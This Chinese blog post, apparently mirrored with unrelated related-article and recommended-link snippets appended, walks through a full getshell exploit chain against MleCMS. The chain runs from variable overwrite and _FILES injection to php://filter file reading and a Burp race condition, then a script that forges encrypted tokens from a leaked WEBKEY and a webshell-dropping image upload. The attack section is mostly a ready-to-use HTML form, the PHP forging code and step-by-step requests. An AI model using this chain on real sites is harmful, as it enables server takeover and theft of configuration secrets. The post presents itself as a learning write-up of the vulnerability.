参考来源:https://bbs.ichunqiu.com/thread-13703-1-1.html

位于:/inc/include/globals.php 第24-28行。有个任意变量覆盖。

foreach(array('_GET','_POST','_COOKIE') as $_request){
foreach($$_request as $i => &$n){
${$i} = daddslashes($n);
}
}

  然后对$value的值进行过滤,这里没考虑到_FILES和GBLOABS的超全局变量

再来看出现漏洞的地方:上传图像处,位于/inc/class/avatar.class.php

	public function onuploadavatar() {
@header("Expires: 0");
@header("Cache-Control: private, post-check=0, pre-check=0, max-age=0", FALSE);
@header("Pragma: no-cache");
$this->init_input($_GET['agent']);
$uid = $this->input['uid'];
if(empty($uid)) {
return -1;
}
if(empty($_FILES['Filedata'])) {
return -3;
} list($width, $height, $type, $attr) = getimagesize($_FILES['Filedata']['tmp_name']);
$imgtype = array(1 => '.gif', 2 => '.jpg', 3 => '.png');
$filetype = $imgtype[$type];
$tmpavatar = MLEINC.'/tmp/other/member_'.$uid.$filetype;
file_exists($tmpavatar) && @unlink($tmpavatar);
if(@copy($_FILES['Filedata']['tmp_name'], $tmpavatar) || @move_uploaded_file($_FILES['Filedata']['tmp_name'], $tmpavatar)) {
@unlink($_FILES['Filedata']['tmp_name']);
list($width, $height, $type, $attr) = getimagesize($tmpavatar);
if($width < 10 || $height < 10 || $type == 4) {
@unlink($tmpavatar);
return -2;
}
} else {
@unlink($_FILES['Filedata']['tmp_name']);
return -4;
}
global $config;
$avatarurl = $config['url'].'inc/tmp/other/member_'.$uid.$filetype;
return $avatarurl;
}

  

可以看到这里有个判断 : if(@copy($_FILES['Filedata']['tmp_name'], $tmpavatar) || @move_uploaded_file($_FILES['Filedata']['tmp_name'], $tmpavatar))

对于copy函数来说,对两个路径的值并没有检查就直接复制过去了,而$_FILES['Filedata']['tmp_name']我们是可控的,因为有变量覆盖。

有因为中间是||只要copy() 返回值是ture就会继续执行,不管后面的值,接着在删除这个文件,这里会有个时间差,只要发送两次请求,第一个请求的是上传的包,第二个请求是访问存在的$tmpavatar的值,也就是要被删除的文件,这里用了一种方法php://filter/

引用大佬的话

关于文件读取 有没有办法 能让copy(src,dst)成功 而unlink(src)失败呢
答案是有的 就是神奇的php://filter 这里限于篇幅 不再细说这个schema 百度一下有几位前辈早已写过有关的文章
利用php://filter/resource=路径/文件名 就可以达到我们想要的效果 copy成功 unlink失败,虽然copy成功之后
第二个getimagesize检查后面的unlink没办法bypass 不过已经生成了 那我读不读就由不得你了。时间竞争大家应该不陌生,
我赶在你生成和删除中间的一瞬间读到不就行了,时间竞争的关键一点就是,目标要明确。得知道生成的url值

  所以我们可以利用下面表单

  <html>
<head>
</head>
<body> <form enctype="multipart/form-data" action="http://url地址/member/index.php?m=user&inajax=1&a=uploadavatar&appid=1&input=79561077915aniBgTneZ%2B0L1a335y4ohyxNkLkoZA0TqCroSz1Y9pIvDV%2FbsZqQifrsZe%2F8fr9T7I4cLQ%2FXkcJ5G%2FKu0lhAnQK6ESWA8hwQNyqRpudivWjzfeNUzs%2B%2F6G0LeDhoa7tN1xHra6Eyu&agent=09a8a8a6c377b13bfddb060943f556d0&avatartype=virtual" method="POST"> <input type="hidden" name="_FILES[Filedata][name]" value = "1.rar"> <input type="hidden" name="_FILES[Filedata][type]" value = "rar"> <input type="hidden" name="_FILES[Filedata][size]" value = "0"> <input type="hidden" name="_FILES[Filedata][tmp_name]" value = "php://filter/resource=./../../inc/config/version.config.php"> <input type="hidden" name="_FILES[Filedata][error]" value = "4"> <input name="file" type="file" /> <input type="submit" value="POST" /> </form> </body>
</html>   

记得修改url地址。

利用burp来劫包发包。设置这个为5线程。

然后请求    http://url地址/inc/tmp/other/member_*

其中*号代表$uid的值,要获取这个值先上传一个头像,然后复制头像的地址inc/uploads/avatar/201706/3_big.jpg

_big.jpg 前面的数字就是$uid的值。所以我们只要访问http://url地址/inc/tmp/other/member_3就行。开启burp,对这个url发50线程的包。

这样就能读到文件,并且不被删除。

读到WEBKEY的值就有办法getshell了,看这里有一句话

		$tmpavatar = MLEINC.'/tmp/other/member_'.$uid.$filetype;

  $filetype我们没法控制,但是$uid我们是可控的,因为

		$this->init_input($_GET['agent']);
$uid = $this->input['uid'];

  

跟进:init_input()

	public function init_input($getagent = '') {
$input = $_GET['input'];
if($input) {
$input = encryption($input,'DECODE',WEBKEY);
parse_str($input,$this->input);
$agent = $getagent ? $getagent : $this->input['agent'];
if(($getagent && $getagent != $this->input['agent']) || (!$getagent && md5($_SERVER['HTTP_USER_AGENT']) != $agent)) {
exit('Access denied for agent changed');
} elseif($this->time - $this->input['time'] > 3600) {
exit('Authorization has expired');
}
}
if(empty($this->input)) {
exit('Invalid input');
}
}

  

对$input进行解密,然后在注册变量,这时候的uid值我们是可控的,而且也没有过滤。

利用脚本生成$input的值

<?php
/**
* Created by PhpStorm.
* User: yangxiaodi
* Date: 17/6/5
* Time: 17:26
*/
$timestamp = time()+10*3600;
$uc_key='';//自己修改哦,下面的agent值要自己改下,和自己的agent值相同,
$code=urlencode(encryption("uid=1.php&agent=09a8a8a6c377b13bfddb060943f556d0&time=$timestamp", 'ENCODE', $uc_key));
echo $code;
function encryption($string,$operation = 'DECODE',$key = '',$expiry = 0,$ckey_length = 12){
$key = md5($key);
$keya = md5(substr($key,0,16));
$keyb = md5(substr($key,16,16));
$keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string,0,$ckey_length): substr(md5(microtime()),-$ckey_length)) : '';
$cryptkey = $keya.md5($keya.$keyc);
$key_length = strlen($cryptkey);
$string = $operation == 'DECODE' ? base64_decode(substr($string,$ckey_length)) : sprintf('%010d',$expiry ? $expiry + time() : 0).substr(md5($string.$keyb),0,16).$string;
$string_length = strlen($string);
$result = '';
$box = range(0,255);
$rndkey = array();
for($i = 0; $i <= 255; $i++){
$rndkey[$i] = ord($cryptkey[$i % $key_length]);
}
for($j = $i = 0; $i < 256; $i++){
$j = ($j + $box[$i] + $rndkey[$i]) % 256;
$tmp = $box[$i];
$box[$i] = $box[$j];
$box[$j] = $tmp;
}
for($a = $j = $i = 0; $i < $string_length; $i++){
$a = ($a + 1) % 256;
$j = ($j + $box[$a]) % 256;
$tmp = $box[$a];
$box[$a] = $box[$j];
$box[$j] = $tmp;
$result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));
}
if($operation == 'DECODE') {
if((substr($result,0,10) == 0 || substr($result,0,10) - time() > 0) && substr($result,10,16) == substr(md5(substr($result,26).$keyb),0,16)){
return substr($result,26);
} else {
return '';
}
} else {
return $keyc.str_replace('=','',base64_encode($result));
}
}

  

带着生成的input值访问一下

  

看到返回-2就代表成功了。

后面的步骤就是,上传一个 一访问就自动在目录下生成一句话的马的图片,然后在构造表单,把表单中要读取的值改成上传图片的值,然后在利用burp开启不同线程进行条件竞争,这次访问的是http://url/inc/tmp/other/member_.php  然后自动在目录下生成一句话就能getshell了。

挺好的洞,收获挺多的,也为自己的基础差而羞愧,搞了一下午的files参数,最后才醒悟过来。再次感谢作者发出来这么好的学习漏洞。

Mlecms Getshell的更多相关文章

  1. PHP代码审计中你不知道的牛叉技术点

    一.前言 php代码审计如字面意思,对php源代码进行审查,理解代码的逻辑,发现其中的安全漏洞.如审计代码中是否存在sql注入,则检查代码中sql语句到数据库的传输 和调用过程. 入门php代码审计实 ...

  2. 技术专题-PHP代码审计

    作者:坏蛋链接:https://zhuanlan.zhihu.com/p/24472674来源:知乎著作权归作者所有.商业转载请联系作者获得授权,非商业转载请注明出处. 一.前言 php代码审计如字面 ...

  3. DedeCMS flink_add Getshell漏洞 管理员CSRF漏洞

    DedeCMS flink_add Getshell漏洞 管理员CSRF漏洞 1.漏洞利用 由于tpl.php中的$action,$content,$filename变量没有初始化,从而能操纵这些变量 ...

  4. MetInfo 5.1 自动化getshell工具

    title: MetInfo V5.1 GetShell一键化工具 date: 2016-06-08 22:40:32 categories: Hacker tags: - Hacker - Tool ...

  5. 帝国备份王(Empirebak) \class\functions.php、\class\combakfun.php GETSHELL vul

    catalog . 漏洞描述 . 漏洞触发条件 . 漏洞影响范围 . 漏洞代码分析 . 防御方法 . 攻防思考 1. 漏洞描述 EmpireBak是一款完全免费.专门为Mysql大数据的备份与导入而设 ...

  6. Discuz! X upgrade/converter GETSHELL Vulnerability Via /convert/include/global.func.php Inject Special Symbol Into /convert/data/config.inc.php

    目录 . 漏洞描述 . 漏洞触发条件 . 漏洞影响范围 . 漏洞代码分析 . 防御方法 . 攻防思考 1. 漏洞描述 对于PHP应用来说,处于用户的输入并正确划定"数据-代码"边界 ...

  7. Getshell Via phpmyadmin SQL Execution In /import.php To Write Evil Webshell File Into Disk

    目录 . 漏洞描述 . 漏洞触发条件 . 漏洞影响范围 . 漏洞代码分析 . 防御方法 . 攻防思考 1. 漏洞描述 phpMyAdmin 是一个以PHP为基础,以Web-Base方式架构在网站主机上 ...

  8. ECSHOP Inject PHPCode Into ecs_mail_templates table Via \admin\mail_template.php && \includes\cls_template.php Vul Tag_PHP_Code Execute Getshell

    目录 . 漏洞描述 . 漏洞触发条件 . 漏洞影响范围 . 漏洞代码分析 . 防御方法 . 攻防思考 1. 漏洞描述 Ecshop后台模版编辑漏洞,黑客可以在获得了后台管理员的帐号密码之后,可以通过在 ...

  9. DedeCMS Xss+Csrf Getshell \dede\file_manage_control.php

    目录 . 漏洞描述 . 漏洞触发条件 . 漏洞影响范围 . 漏洞代码分析 . 防御方法 . 攻防思考 1. 漏洞描述 对这个漏洞的利用方式进行简单的概括 . 这个漏洞的利用前提是需要登录到后台进行操作 ...

随机推荐

  1. Java基础-this和super的区别

    package com.cn.This; /** * this与super的区别: * 1.this相当于指向本类的对象的指针,调用本类的另一种类型的构造方法 * 2.super调用的是父类中形参相同 ...

  2. centos 7.0远程登录

    http://blog.csdn.net/e1219092641/article/details/79586476 linux在虚拟机上操作也是有许多不便之处的,但是远程登录的使用可以使操作简单不少, ...

  3. 一个典型的kubernetes工作流程 - kubernetes

    1.准备好一个包含应用程序的Deployment的yml文件,然后通过kubectl客户端工具发送给ApiServer. 2.ApiServer接收到客户端的请求并将资源内容存储到数据库(etcd)中 ...

  4. 用Python登录好友QQ空间点赞

    记得之前跟我女票说过,说要帮她空间点赞,点到999就不点了.刚开始还能天天记得,但是后来事情一多,就难免会忘记,前两天点赞的时候忽然觉得这样好枯燥啊,正好也在学Python,就在想能不能有什么方法能自 ...

  5. 201621123050 《Java程序设计》第11周学习总结

    1. 本周学习总结 1.1 以你喜欢的方式(思维导图或其他)归纳总结多线程相关内容. 2. 书面作业 本次PTA作业题集多线程 1. 源代码阅读:多线程程序BounceThread 1.1 BallR ...

  6. 学号:201621123032 《Java程序设计》第9周学习总结(

    1:本周学习总结 1.1:以你喜欢的方式(思维导图或其他)归纳总结集合与泛型相关内容 2:书面作业 2.1: List中指定元素的删除(题集题目) 2.1.1:实验总结.并回答:列举至少2种在List ...

  7. CPP 栈 示例

    #include<iostream> #include<stdlib.h> using namespace std; typedef struct node { int dat ...

  8. Django Haystack 全文检索与关键词高亮

    Django Haystack 简介 django-haystack 是一个专门提供搜索功能的 django 第三方应用,它支持 Solr.Elasticsearch.Whoosh.Xapian 等多 ...

  9. php里面的变量的使用

    php里面的变量一般可以直接使用不需要声明,但是这种var_dump($a);就会报错,还有sql语句里面如果某个变量为空也会报错. 如果变量为null,空,未声明都==false,但是不===fal ...

  10. 微信qq,新浪等第三方授权登录的理解

    偶们常说的第三方是指的微信,qq,新浪这些第三方,因为现在基本每个人都有qq或者微信,那么我们就可以通过这些第三方进行登录.而这些网站比如慕课网是通过第三方获取用户的基本信息 它会有个勾选按钮,提示是 ...